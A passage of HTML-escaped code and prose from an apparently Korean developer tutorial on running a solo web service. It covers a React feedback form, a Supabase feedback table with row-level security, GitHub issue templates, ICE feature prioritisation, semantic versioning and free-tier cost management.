    &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;div className&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;fixed bottom-4 right-4 w-80 bg-white rounded-lg shadow-xl p-4 border&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;submitted &lt;span class=&quot;token operator&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
        &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;p className&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;text-center text-green-600 font-medium&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
          소중한 피드백 감사합니다&lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;
        &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;p&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
        &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;form onSubmit&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;handleSubmit&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
          &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;h3 className&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;font-bold mb-2&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;피드백 보내기&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;h3&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;

          &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;div className&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;flex gap-2 mb-3&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
            &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;bug&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;feature&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;general&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;map&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;t &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
              &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;button
                key&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;t&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
                type&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;button&quot;&lt;/span&gt;
                onClick&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;setType&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;t&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
                className&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;px-3 py-1 rounded text-sm &lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;
                  type &lt;span class=&quot;token operator&quot;&gt;===&lt;/span&gt; t &lt;span class=&quot;token operator&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;bg-blue-600 text-white&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;bg-gray-100&quot;&lt;/span&gt;
                &lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
              &lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
                &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;t &lt;span class=&quot;token operator&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;bug&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;버그&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; t &lt;span class=&quot;token operator&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;feature&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;기능 요청&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;일반&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
              &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;button&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
            &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
          &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;div&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;

          &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;textarea
            value&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;feedback&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
            onChange&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;e &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;setFeedback&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;e&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;target&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;value&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
            placeholder&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;의견을 자유롭게 작성해 주세요&quot;&lt;/span&gt;
            className&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;w-full border rounded p-2 mb-3 h-24 resize-none&quot;&lt;/span&gt;
            required
          &lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;

          &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;div className&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;flex justify-end gap-2&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
            &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;button
              type&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;button&quot;&lt;/span&gt;
              onClick&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;setIsOpen&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
              className&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;px-3 py-1 text-gray-500&quot;&lt;/span&gt;
            &lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
              취소
            &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;button&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
            &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;button
              type&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;submit&quot;&lt;/span&gt;
              className&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;px-3 py-1 bg-blue-600 text-white rounded&quot;&lt;/span&gt;
            &lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
              보내기
            &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;button&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
          &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;div&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
        &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;form&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;div&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;Supabase 피드백 테이블&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;sql&quot;&gt;&lt;pre class=&quot;language-sql&quot;&gt;&lt;code class=&quot;language-sql&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;-- Supabase SQL Editor에서 실행&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;CREATE&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;TABLE&lt;/span&gt; feedback &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
  id UUID &lt;span class=&quot;token keyword&quot;&gt;DEFAULT&lt;/span&gt; gen_random_uuid&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;PRIMARY&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;KEY&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;type&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;TEXT&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;NOT&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;NULL&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;CHECK&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;type&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;IN&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;bug&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;feature&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;general&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  message &lt;span class=&quot;token keyword&quot;&gt;TEXT&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;NOT&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  page &lt;span class=&quot;token keyword&quot;&gt;TEXT&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  user_agent &lt;span class=&quot;token keyword&quot;&gt;TEXT&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  created_at TIMESTAMPTZ &lt;span class=&quot;token keyword&quot;&gt;DEFAULT&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;NOW&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  is_resolved &lt;span class=&quot;token keyword&quot;&gt;BOOLEAN&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;DEFAULT&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;FALSE&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;-- RLS 정책 (누구나 피드백 작성 가능, 읽기는 관리자만)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;ALTER&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;TABLE&lt;/span&gt; feedback &lt;span class=&quot;token keyword&quot;&gt;ENABLE&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;ROW&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;LEVEL&lt;/span&gt; SECURITY&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;CREATE&lt;/span&gt; POLICY &lt;span class=&quot;token string&quot;&gt;&quot;Anyone can insert feedback&quot;&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;ON&lt;/span&gt; feedback &lt;span class=&quot;token keyword&quot;&gt;FOR&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;INSERT&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;TO&lt;/span&gt; anon
  &lt;span class=&quot;token keyword&quot;&gt;WITH&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;CHECK&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;GitHub Issues 활용&lt;/h3&gt;
&lt;p&gt;피드백 폼 외에 GitHub Issues를 활용하면 개발자 커뮤니티에서 피드백을 받기 좋습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;GitHub 저장소 → Settings → Features → Issues 활성화
→ Issue Template 생성:
  - Bug Report (버그 리포트)
  - Feature Request (기능 요청)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;markdown&quot;&gt;&lt;pre class=&quot;language-markdown&quot;&gt;&lt;code class=&quot;language-markdown&quot;&gt;&lt;span class=&quot;token title important&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;##&lt;/span&gt; &lt;/span&gt;&lt;span class=&quot;token comment&quot;&gt;&amp;lt;!-- .github/ISSUE_TEMPLATE/bug_report.md --&gt;&lt;/span&gt;

name: Bug Report
about: 버그를 신고해 주세요
title: &apos;[BUG] &apos;
labels: bug

&lt;span class=&quot;token hr punctuation&quot;&gt;---&lt;/span&gt;

&lt;span class=&quot;token bold&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;**&lt;/span&gt;&lt;span class=&quot;token content&quot;&gt;버그 설명&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;**&lt;/span&gt;&lt;/span&gt;
어떤 문제가 발생했나요?

&lt;span class=&quot;token bold&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;**&lt;/span&gt;&lt;span class=&quot;token content&quot;&gt;재현 방법&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;**&lt;/span&gt;&lt;/span&gt;

&lt;span class=&quot;token list punctuation&quot;&gt;1.&lt;/span&gt; &apos;...&apos; 페이지에 접속
&lt;span class=&quot;token list punctuation&quot;&gt;2.&lt;/span&gt; &apos;...&apos; 버튼 클릭
&lt;span class=&quot;token list punctuation&quot;&gt;3.&lt;/span&gt; 에러 발생

&lt;span class=&quot;token bold&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;**&lt;/span&gt;&lt;span class=&quot;token content&quot;&gt;예상 동작&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;**&lt;/span&gt;&lt;/span&gt;
어떻게 동작해야 하나요?

&lt;span class=&quot;token bold&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;**&lt;/span&gt;&lt;span class=&quot;token content&quot;&gt;스크린샷&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;**&lt;/span&gt;&lt;/span&gt;
가능하다면 스크린샷을 첨부해 주세요.&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2&gt;업데이트 전략&lt;/h2&gt;
&lt;p&gt;서비스를 지속적으로 개선하려면 체계적인 업데이트 전략이 필요합니다.&lt;/p&gt;
&lt;h3&gt;기능 추가 우선순위 정하기&lt;/h3&gt;
&lt;p&gt;모든 피드백과 아이디어를 구현할 수는 없습니다. 우선순위를 정하는 간단한 프레임워크입니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;ICE 스코어링:
- Impact (영향력): 1~10 — 얼마나 많은 사용자에게 도움이 되는가?
- Confidence (확신도): 1~10 — 실제로 효과가 있을 확신이 있는가?
- Ease (난이도): 1~10 — 얼마나 쉽게 구현할 수 있는가?

ICE Score = Impact × Confidence × Ease
→ 점수가 높은 것부터 구현&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;기능&lt;/th&gt;
&lt;th&gt;Impact&lt;/th&gt;
&lt;th&gt;Confidence&lt;/th&gt;
&lt;th&gt;Ease&lt;/th&gt;
&lt;th&gt;Score&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;다크모드&lt;/td&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;9&lt;/td&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;504&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;소셜 로그인&lt;/td&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;384&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;AI 번역&lt;/td&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;120&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;버전 관리&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# Semantic Versioning 사용&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# MAJOR.MINOR.PATCH&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# 버그 수정&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;npm&lt;/span&gt; version patch  &lt;span class=&quot;token comment&quot;&gt;# 1.0.0 → 1.0.1&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# 새 기능 추가&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;npm&lt;/span&gt; version minor  &lt;span class=&quot;token comment&quot;&gt;# 1.0.1 → 1.1.0&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# 호환되지 않는 변경&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;npm&lt;/span&gt; version major  &lt;span class=&quot;token comment&quot;&gt;# 1.1.0 → 2.0.0&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2&gt;비용 관리 -- 무료 티어로 운영하는 전략&lt;/h2&gt;
&lt;p&gt;1인 개발자에게 비용 관리는 생존의 문제입니다. 다행히 2026년 현재 대부분의 서비스가 넉넉한 무료 티어를 제공합니다.&lt;/p&gt;
&lt;h3&gt;무료 티어 한도 정리&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;서비스&lt;/th&gt;
&lt;th&gt;무료 한도&lt;/th&gt;
&lt;th&gt;초과 시 비용&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Vercel (Hobby)&lt;/td&gt;
&lt;td&gt;100GB 대역폭, 무제한 배포&lt;/td&gt;
&lt;td&gt;Pro: $20/월&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Supabase (Free)&lt;/td&gt;
&lt;td&gt;500MB DB, 1GB 스토리지, 50,000 MAU&lt;/td&gt;
&lt;td&gt;Pro: $25/월&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Sentry (Developer)&lt;/td&gt;
&lt;td&gt;5,000 이벤트/월&lt;/td&gt;
&lt;td&gt;Team: $26/월&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;GA4&lt;/td&gt;
&lt;td&gt;무제한 (무료)&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;GitHub&lt;/td&gt;
&lt;td&gt;무제한 공개 저장소&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;OpenAI API&lt;/td&gt;
&lt;td&gt;종량제 (무료 한도 없음)&lt;/td&gt;
&lt;td&gt;GPT-4o: ~$5/1M 토큰&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;비용 절약 팁&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;typescript&quot;&gt;&lt;pre class=&quot;language-typescript&quot;&gt;&lt;code class=&quot;language-typescript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// 1. API 호출 최소화 — 캐싱 활용&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; unstable_cache &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;next/cache&quot;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; getCachedData &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;unstable_cache&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;id&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;// 비용이 드는 API 호출&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; data &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;fetchFromOpenAI&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;id&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; data
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;openai-cache&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; revalidate&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;3600&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// 1시간 캐시&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;typescript&quot;&gt;&lt;pre class=&quot;language-typescript&quot;&gt;&lt;code class=&quot;language-typescript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// 2. Supabase 쿼리 최적화 — 필요한 필드만 조회&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;// 나쁜 예&lt;/span&gt;
